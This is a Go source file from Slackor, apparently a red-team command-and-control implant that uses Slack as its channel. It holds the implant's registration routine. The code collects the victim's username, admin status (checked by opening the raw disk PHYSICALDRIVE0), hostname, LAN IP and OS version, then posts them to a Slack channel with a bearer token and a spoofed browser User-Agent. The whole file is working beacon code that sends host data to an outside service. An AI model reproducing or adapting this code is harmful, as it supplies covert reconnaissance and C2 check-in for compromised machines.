github.com/n00py/Slackor@v0.0.0-20200610224921-d007fcea1740/internal/slack/register.go (about)

     1  package slack
     2  
     3  import (
     4  	"fmt"
     5  	"log"
     6  	"net"
     7  	"net/http"
     8  	"net/url"
     9  	"os"
    10  	"os/user"
    11  	"strings"
    12  	"time"
    13  
    14  	"github.com/n00py/Slackor/internal/config"
    15  )
    16  
    17  func whoami() string { // returns the current user
    18  	user, err := user.Current()
    19  	if err != nil {
    20  		return ("NAME_ERROR")
    21  	}
    22  	return string(user.Username)
    23  }
    24  
    25  func checkForAdmin() bool { //attempts to get a file handle on MBR, only Admin can
    26  	_, err := os.Open("\\\\.\\PHYSICALDRIVE0")
    27  	if err != nil {
    28  		return false
    29  	}
    30  	return true
    31  }
    32  
    33  func hostname() string { // Returns the computer hostname
    34  	name, err := os.Hostname()
    35  	if err != nil {
    36  		panic(err)
    37  	}
    38  	return name
    39  }
    40  
    41  func getVersion() string {
    42  	return config.OSVersion
    43  }
    44  
    45  func getLANOutboundIP() string { // Get preferred outbound ip of this machine
    46  	conn, err := net.Dial("udp", "4.5.6.7:1337") //This doesn't actually make a connection
    47  	if err != nil {
    48  		log.Fatal(err)
    49  	}
    50  	defer conn.Close()
    51  	localAddr := conn.LocalAddr().(*net.UDPAddr)
    52  	IP := localAddr.IP.String()
    53  	return IP
    54  
    55  }
    56  
    57  func Register(clientID string) { // Send a message to the registration channel with the client ID and OS info
    58  	client := &http.Client{Timeout: time.Second * 10}
    59  	name, err := os.Hostname()
    60  	if err != nil {
    61  		panic(err)
    62  	}
    63  	URL := "https://slack.com/api/chat.postMessage"
    64  	v := url.Values{}
    65  	v.Set("channel", config.RegistrationChannel)
    66  	user := whoami()
    67  	if checkForAdmin() {
    68  		user = whoami() + "*"
    69  	} else {
    70  		user = whoami()
    71  	}
    72  	info := clientID + ":" + name + ":" + user + ":" + getLANOutboundIP() + ":" + string(getVersion())
    73  	v.Set("text", info)
    74  	//pass the values to the request's body
    75  	req, err := http.NewRequest("POST", URL, strings.NewReader(v.Encode()))
    76  	req.Header.Add("Authorization", "Bearer "+config.Bearer)
    77  	req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0")
    78  	req.Header.Add("Content-Type", "application/x-www-form-urlencoded")
    79  	_, netError := client.Do(req)
    80  	if netError != nil {
    81  		fmt.Println("Connection error: " + netError.Error())
    82  	}
    83  }